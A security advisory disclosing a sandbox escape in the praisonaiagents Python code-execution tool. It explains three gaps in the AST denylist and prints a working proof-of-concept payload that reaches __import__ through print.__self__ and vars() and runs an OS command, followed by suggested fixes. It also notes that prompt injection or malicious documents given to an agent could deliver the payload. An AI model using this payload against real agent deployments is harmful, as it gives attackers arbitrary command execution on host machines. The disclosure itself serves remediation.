execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.
This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical
Three independent gaps in the AST-based security validation:
__self__ missing from _blocked_attrsIn CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the real CPython built-in functions, so print.__self__ returns <module 'builtins' (built-in)>.
The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.
vars not blocked as callable or attributebuiltins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.
So b.vars(b) (where b is the builtins module) returns builtins.__dict__ — a dict containing ALL built-in functions including __import__, exec, eval, open, etc.
Call check only catches ast.Name nodesThe dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch:
- Attribute calls: b.exec(...) — func is ast.Attribute
- Subscript calls: d["exec"](...) — func is ast.Subscript
The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.
from praisonaiagents.tools.python_tools import execute_code
# Exploit: 4 lines, bypasses ALL security layers
payload = """
b = print.__self__
d = b.vars(b)
key = "_" + "_" + "import" + "_" + "_"
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""
result = execute_code(code=payload)
print(result)
# Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}
| Line | AST node | Check | Result |
|---|---|---|---|
| print.__self__ | Attribute(attr='__self__') | __self__ in _blocked_attrs? | NO → passes |
| b.vars | Attribute(attr='vars') | vars in _blocked_attrs? | NO → passes |
| b.vars(b) | Call(func=Attribute) | isinstance(func, ast.Name)? | NO → passes |
| "_", "import" | Constant(value=str) | Contains blocked attr? | NO → passes |
| d[key] | Subscript | Not checked | passes |
| imp("os") | Call(func=Name('imp')) | imp in blocked calls? | NO → passes |
Result: Full sandbox escape → arbitrary command execution
An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:
praisonaiagents (PyPI)praisonaiagents/tools/python_tools.py, _execute_code_sandboxed() function
sandbox_mode="sandbox" is the default)Add __self__ to _blocked_attrs:
python
_blocked_attrs = frozenset({
...,
'__self__', # Built-in functions leak their parent module
})
vars in the callable blocklistast.Call check to also catch ast.Attribute and ast.Subscript function nodesBinOp string concatenation that could construct blocked attr namesDenylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:
- Using isolated-vm (Node.js) or WebAssembly-based isolation
- Using OS-level sandboxing (seccomp, namespaces, gVisor)
- Removing in-process code execution entirely in favor of containerized execution